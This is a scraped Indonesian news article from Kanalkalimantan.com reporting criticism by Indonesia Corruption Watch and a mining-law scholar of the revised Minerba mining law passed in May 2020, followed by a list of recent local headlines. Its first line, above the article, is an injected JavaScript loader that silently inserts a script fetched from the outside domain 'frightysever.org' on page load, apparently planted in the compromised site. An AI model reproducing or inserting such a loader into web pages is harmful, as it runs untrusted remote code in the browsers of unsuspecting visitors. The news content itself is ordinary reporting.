(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

ICW: Revisi UU Minerba Hanya Untungkan Para Elite Kaya!


KANALKALIMANTAN.COM, JAKARTA– Pengesahan revisi UU Miner mendapat tentangan berbagai pihak. Indonesia Corruption Watch (ICW) menilai RUU Minerba tak berpihak pada lingkungan hidup dan hanya menguntungkan para elit kaya.

Keberpihakan tersebut terlihat dari adanya jaminan perpanjangan bagi perusahaan mineral dan batu bara dengan lisensi KK dan PKP2B.

ICW menyatakan saat UU Nomor 4 Tahun 2009 tentang Minerba disahkan beberapa waktu lalu, jaminan kepada para pemegang lisensi untuk mendapat perpanjangan kontrak tersebut tidak ada “Sehingga sejumlah upaya dilakukan guna mendapatkan kepastian perpanjangan, yang diantaranya tercermin melalui RUU Cipta Kerja dan RUU Minerba,” tulis ICW dalam keterangan resminya, Selasa (12/5/2020).

Tak hanya ICW, pengamat Hukum Pertambangan menyebut pengesahan revisi UU Minerba berpotensi melanggar UUD 1945. Pelanggaran terjadi karena masih ada substansi uu yang tidak sesuai dengan Pasal UUD 1945. Selain itu, uu juga bertentangan dengan putusan MK terkait perpanjangan kontrak karya (KK)/ perjanjian karya pengusahaan pertambangan batubara (PKP2B). Pasalnya, uu sekarang menganulir peran BUMN dan BUMD dalam proses tersebut.

Hal ini sebagaimana disampaikan Pengamat Hukum Pertambangan dan SDA Universitas Tarumanegara Ahmad Redi. “Dalam Putusan MK dinyatakan bahwa DPD harus menyiapkan Daftar Inventarisasi Masalah (DIM) apabila RUU diinisiasi oleh DPR, sehingga ada 2 DIM yaitu DIM Pemerintah dan DIM DPR. Belum lagi, soal pembahasan Panja RUU Minerba yang tertutup dan melanggar asas keterbukaan dalam pembentukan RUU,” katanya kepada CNNIndonesia.com, Selasa (12/5).

Sebagai informasi, pemerintah dan DPR RI dalam Rapat Paripurna yang digelar Selasa (12/5) akhirnya sepakat mengesahkan Rancangan Perubahan Undang-Undang nomor 4 tahun 2009 tentang Pertambangan Mineral dan Batubara (Minerba) menjadi Undang-Undang.

RUU yang telah disahkan tersebut memuat 28 bab dengan total 209 Pasal. Menteri Energi dan Sumber Daya Mineral (ESDM) Arifin Tasrif, yang mewakili presiden dalam rapat paripurna tersebut, mengatakan, perubahan UU Minerba diperlukan untuk menjawab permasalahan pengelolaan pertambangan minerba di saat ini dan masa mendatang.

Di samping itu, RUU tersebut diharapkan dapat mengubah paradigma kegiatan usaha pertambangan minerba yang selama ini hanya dianggap berfokus penjualan raw material tanpa meningkatkan nilai tambah. “Serta yang terpenting memberikan kepastian hukum seluruh pemangku kepentingan di sektor tambang,” ujarnya dalam rapat paripurna tersebut. (Kanalkalimantan.com/cell)

Editor : Chell

Desy Arfianty

Recent Posts

Bawaslu Banjarbaru Dapati Dua Laporan Pelanggaran Jelang PSU

KANALKALIMANTAN.COM, BANJARBARU - Jelang pelaksanaan Pemungutan Suara Ulang (PSU) Pemilihan Wali Kota dan Wakil Wali… Read More

6 jam ago

Rudapaksa Anak di Aluhaluh Disebut Lima Kali, SY Ditangkap Polisi

KANALKALIMANTAN.COM, BANJARBARU - Aksi amoral diduga dilakukan seorang lelaki warga Kabupaten Banjar melakukan perbuatan tak… Read More

6 jam ago

Wagub dan PUPR Kalsel Kunjungi Stadion 17 Mei

KANALKALIMANTAN.COM, BANJARMASIN - Pelaksana Tugas (Plt) Kepala Dinas PUPR Kalsel, M Yasin Toyib mendampingi Wakil… Read More

8 jam ago

Modus Sewa Motor di Banjarbaru, Sigit ‘Larikan’ Yamaha NMAX hingga Sampit

KANALKALIMANTAN.COM, BANJARBARU - Seorang laki-laki berusia 36 tahun diringkus polisi setelah ‘larikan’ sebuah sepeda motor… Read More

9 jam ago

Muscab ke-VII IBI HSU, Ini Kata Wabup Hero Setiawan

KANALKALIMANTAN.COM, AMUNTAI - Wakil Bupati (Wabup) Hulu Sungai Utara (HSU) Hero Setiawan menilai peran strategis… Read More

9 jam ago

Banjar Preneur Fest Digelar di Q Mall Selama Dua Hari

KANALKALIMANTAN.COM, MARTAPURA -  Wakil Bupati Banjar Habib Idrus Al Habsyi menyampaikan apresiasi yang setinggi-tingginya kepada… Read More

22 jam ago

This website uses cookies.